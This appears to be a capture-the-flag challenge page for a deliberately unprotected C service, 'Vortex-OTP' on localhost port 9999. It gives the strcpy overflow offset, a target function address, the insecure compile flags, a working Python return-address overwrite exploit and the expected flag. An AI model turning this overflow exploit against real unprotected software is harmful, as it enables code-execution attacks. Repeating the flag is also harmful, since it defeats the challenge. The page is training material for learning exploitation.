Real Vortex-OTP Exploitation | Cyber Fortress CTF

Service Control

Vortex-OTP Service: OFFLINE

REAL EXPLOITATION REQUIRED

This challenge runs a real vulnerable C program on port 9999. You need to write an actual exploit using Python or other tools. The service is compiled with NO PROTECTIONS: No stack canary, no ASLR, NX disabled.

Exploitation Guide

Vulnerability

Buffer overflow in strcpy()
256-byte buffer, no bounds checking
Offset to return address: 264 bytes
secret_function at: 0x401216

Required Tools

Kali Linux or similar
Python3 with pwntools
netcat (nc)
gdb for debugging

Target Info

IP: localhost
Port: 9999
Protocol: TCP
Flag format: FLAG{...}

Exploitation Terminal

$ ./vortex-server

[*] Starting Vortex-OTP Server v2.1.3

[*] Compiled: gcc -fno-stack-protector -z execstack -no-pie

[*] Listening on port 9999

[*] Server ready. Waiting for connections...

Python Exploit Template

#!/usr/bin/env python3
import socket
import struct

def exploit():
    target = "localhost"
    port = 9999
    
    # Secret function address
    secret_func = 0x401216
    secret_bytes = struct.pack("<Q", secret_func)
    
    # Build payload
    offset = 264
    payload = b"DEBUG " + b"A" * offset + secret_bytes
    
    # Connect and send
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((target, port))
    
    # Receive banner
    print(s.recv(1024).decode())
    
    # Send exploit
    s.send(payload + b"\n")
    
    # Get response
    response = s.recv(4096)
    print(response.decode())
    
    s.close()
    
    if b"FLAG{" in response:
        print("[+] Exploit successful!")
        return True
    return False

if __name__ == "__main__":
    exploit()

Testing Ground

Test Your Exploit

Test output will appear here...

Flag Submission

After successfully exploiting the vulnerable service, you should receive a flag. Enter it below to complete the challenge. Expected format: FLAG{V0RT3X-R34L-B0F-3XPL01T}